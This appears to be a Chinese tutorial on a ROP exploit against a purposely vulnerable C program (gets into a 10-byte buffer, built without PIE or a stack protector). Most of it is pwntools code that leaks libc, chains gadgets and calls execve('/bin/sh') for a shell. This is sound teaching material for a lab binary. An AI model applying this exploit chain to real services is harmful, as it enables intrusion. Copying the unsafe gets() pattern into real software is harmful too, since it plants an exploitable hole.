存在如下代码:

  1. #include <stdio.h>
  2. #include <unistd.h>
  3. int main(){
  4. char buf[10];
  5. puts("hello");
  6. gets(buf);
  7. }

gcc编译:gcc rop.c -o rop -no-pie -fno-stack-protector

1 分析代码

代码存在栈溢出,输入18个字节填充即可控制程序流程,这里使用ROP来获得shell
分析思路:

  1. 获得puts()函数在libc中的地址,通过该地址计算system、execve等函数的地址
  2. 通过ROPgadget获得字符串”/bin/sh”
  3. 构造ROP链获得shell

    1.1 调用puts输出puts的地址

    使用指令disassemble puts函数,获得puts函数plt表地址和got.plt表地址:
    puts = 0x401030
    puts_got = 0x404018
    0.png
    在64位Linux系统中,函数调用参数与_cdecl约定不同,函数的前6个参数依次是RDI、RSI、RDX、RCX、R8、R9如果有多余的参数则和32位一样使用栈传参。
    对于puts函数,int puts(char *string) 传入参数为地址,这里我们需要将puts_got地址传入RDI寄存器中。使用ROPgadget工具获得指令 pop rdi;ret的地址:pop_rdi = 0x4011d3
    1.png
    函数栈结构为:
    2.png
    pwntools获得puts函数地址: ```python from pwn import *

p = process(‘./rop’) puts = 0x401030 puts_got = 0x404018 pop_rdi = 0x4011d3

p.sendline(b’a’*18+p64(pop_rdi)+p64(puts_got)+p64(puts)) p.recvuntil(‘\n’) addr = u64(p.recv(6).ljust(8,’\x00’)) print(hex(addr))

  1. pwntools获得libc基址:
  2. ```python
  3. from pwn import *
  4. p = process('./rop')
  5. elf = ELF('./rop')
  6. libc = elf.libc
  7. puts = 0x401030
  8. puts_got = 0x404018
  9. pop_rdi = 0x4011d3
  10. p.sendline(b'a'*18+p64(pop_rdi)+p64(puts_got)+p64(puts))
  11. p.recvuntil('\n')
  12. addr = u64(p.recv(6).ljust(8,'\x00'))
  13. print(hex(addr))
  14. libc_base = addr - libc.symbols['puts']
  15. info("libc:0x%x",libc_base)

1.2 syscall系统调用命令执行

execve("/bin/sh",0,0),系统调用号为59,故需要将rax设置为59,rdi设为”/bin/sh”字符串地址,rsi和rdx设置为0。所需要相关gadget为如下,由于相关gadget在原程序中不存在,所以需要从libc中获得这些gadget。通过pwntools ELF.libc可以知道程序动态链接的libc库。
4.png
使用ROPgadget从libc中获得gadget:
pop_rax_ret = 0x3f080
pop_rdi_ret = 0x26b12
pop_rsi_ret = 0x27037
pop_rdx_rbx_ret = 0x39256 (因为gadget中没有找到pop rdx ; ret,使用该gadget替代)
syscall = 0x2588b
5.png

  1. pop_rax_ret = 0x3f080 + libc_base
  2. pop_rdi_ret = 0x26b12 + libc_base
  3. pop_rsi_ret = 0x27037 + libc_base
  4. pop_rdx_rbx_ret = 0x39256 + libc_base #因为gadget中没有找到pop rdx ; ret,使用该gadget替代
  5. syscall = 0x2588b + libc_base
  6. binsh = next(libc.search("/bin/sh"),) + libc_base
  7. rop2 = b'a'*18
  8. rop2 += p64(pop_rax_ret)
  9. rop2 += p64(59)
  10. rop2 += p64(pop_rdi_ret)
  11. rop2 += p64(binsh)
  12. rop2 += p64(pop_rsi_ret)
  13. rop2 += p64(0)
  14. rop2 += p64(pop_rdx_rbx_ret)
  15. rop2 += p64(0)
  16. rop2 += p64(0)
  17. rop2 += p64(syscall)
  18. p.recvuntill("hello\n")
  19. p.sendline(rop2)
  20. p.interactive()

1.3 exp与过程

在rop1与rop2中可以重新执行main函数,利用溢出执行rop2。
Todo:// GDB pwntools调试

  1. from pwn import *
  2. p = process('./rop')
  3. elf = ELF('./rop')
  4. libc = elf.libc
  5. puts = 0x401030
  6. puts_got = 0x404018
  7. pop_rdi = 0x4011d3
  8. main = 0x401136
  9. rop1 = b'a'*18
  10. rop1 += p64(pop_rdi)
  11. rop1 += p64(puts_got)
  12. rop1 += p64(puts)
  13. rop1 += p64(main)
  14. p.sendline(rop1)
  15. p.recvuntil('\n')
  16. addr = u64(p.recv(6).ljust(8,b'\x00'))
  17. libc_base = addr - libc.symbols['puts']
  18. info("libc:0x%x",libc_base)
  19. pop_rax_ret = 0x3f080 + libc_base
  20. pop_rdi_ret = 0x26b12 + libc_base
  21. pop_rsi_ret = 0x27037 + libc_base
  22. pop_rdx_rbx_ret = 0x39256 + libc_base #因为gadget中没有找到pop rdx ; ret,使用该gadget替代
  23. syscall = 0x2588b + libc_base
  24. binsh = next(libc.search(b"/bin/sh"),) + libc_base
  25. rop2 = b'a'*18
  26. rop2 += p64(pop_rax_ret)
  27. rop2 += p64(59)
  28. rop2 += p64(pop_rdi_ret)
  29. rop2 += p64(binsh)
  30. rop2 += p64(pop_rsi_ret)
  31. rop2 += p64(0)
  32. rop2 += p64(pop_rdx_rbx_ret)
  33. rop2 += p64(0)
  34. rop2 += p64(0)
  35. rop2 += p64(syscall)
  36. p.recvuntil("hello\n")
  37. p.sendline(rop2)
  38. p.interactive()